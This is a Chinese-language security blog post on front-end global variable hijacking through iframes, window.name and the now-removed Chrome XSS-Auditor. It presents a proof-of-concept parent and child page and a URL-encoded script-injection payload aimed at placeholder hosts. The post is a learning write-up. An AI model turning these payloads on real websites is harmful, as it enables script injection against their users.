前端全局变量劫持

admin 2024年8月18日00:41:23前端全局变量劫持已关闭评论12 views字数 1859阅读6分11秒阅读模式

前言

关于前段变量劫持的一些学习与思考

iframe之间的访问与同源关系

父页面访问子页面

子页面访问父页面

location与frame

如果父和子页面是同源的,那么可以通过这个window对象获取到任何你想获取的内容,包括但是不限于 document,name,location 等。但是在非同源的情况下,iframe的window对象大多数的属性都会被同源策略block掉,但是有两个属性比较特殊。

  1. frames 可读,但是不可写。 意味着可以读取不同域的子页面里面的iframe的window对象
  2. location 可写,但是不可读。意味着父子可以相互修改彼此的 location

上述内容摘自wonderkun师傅博客(

iframe同源跨域问题

iframe所加载的子页面会被同源限制,所以无法对引入进来的iframe中的元素进行操作:

1
2
3
4
5
//localhost/JQuery Test/exp.html

<html>
<iframe name="test" src='http://localhost/JQuery test/2.html'>
</html>

前端全局变量劫持GD3Udx.png

从上面的例子可以看出我们可以通过location进行同源设置来避免因为同源而被Block的情况,可成功获取name属性。

name属性与id属性

name属性和id属性都可以注册为全局变量,如下:

前端全局变量劫持GDt4MD.png

不可覆盖变量性

对于由id和name属性创建的变量 不可对已声明的变量进行覆盖 示例如下:

前端全局变量劫持GDd0YR.png

可以看到实际的变量并没有覆盖,所以对于这种攻击手法我们需要的是一个未定义的变量的。

、关于更多name和id属性的特性在下一篇Dom Clobbering再说吧。

如何获得未定义的变量

从上面的内容我们可以得知我们的攻击时进行的操作必须要在此变量未定义的情况下进行(因为我们通过id或name属性无法对已定义的变量进行覆盖)。

利用XSS-Auditor进行变量删除(不过需要注意的时XSS-Auditor在Chrome-78beta版本已经被废除)

利用方式:

通过参数提交恶意语句,即可进行删除变量,如:

1
xss=<script>var lih3iu=1</script>

漏洞利用

父页面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<script>
function loaded(x){
x.contentWindow.frames[0].location = "http://A.com/index.html";
setTimeout(function() {
console.log('setting viewer...');
x.contentWindow.frames[0].name = "lih3iu";
},1000);
}
</script>






<iframe src="http://B.com/B.html?xss=%3Cscript%3E%0A%20%20%20%20%20VUL%20=%20%22Hijack%20me%22;%0A%3C/script%3E" onload="loaded(this)"></iframe>

子页面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

<iframe src="http://www.baidu.com" ></iframe>
<h1 onclick="exploit()">click me</h1>
<script>
var test1=1;
var lih3iu = "Hijack me";
</script>

<script>

function exploit(){

console.log(lih3iu);
}
</script>

可以看到lih3iu变量被成功设置为一个window变量,这也是这个漏洞的局限性,只可将漏洞劫持为一个window变量,对于这个漏洞其实还是有一些问题的(比如一些同源跨域的问题,有兴趣的师傅可以私我一起讨论一下)

前端全局变量劫持GrePh9.png

参考链接

http://wonderkun.cc/2019/07/01/%E5%89%8D%E7%AB%AF%E4%B8%AD%E5%AD%98%E5%9C%A8%E7%9A%84%E5%8F%98%E9%87%8F%E5%8A%AB%E6%8C%81%E6%BC%8F%E6%B4%9E/#more

https://hpdoger.cn/2019/07/02/%E5%89%8D%E7%AB%AF%E5%85%A8%E5%B1%80%E5%8F%98%E9%87%8F%E5%8A%AB%E6%8C%81/

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月18日00:41:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   前端全局变量劫持https://cn-sec.com/archives/3075177.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.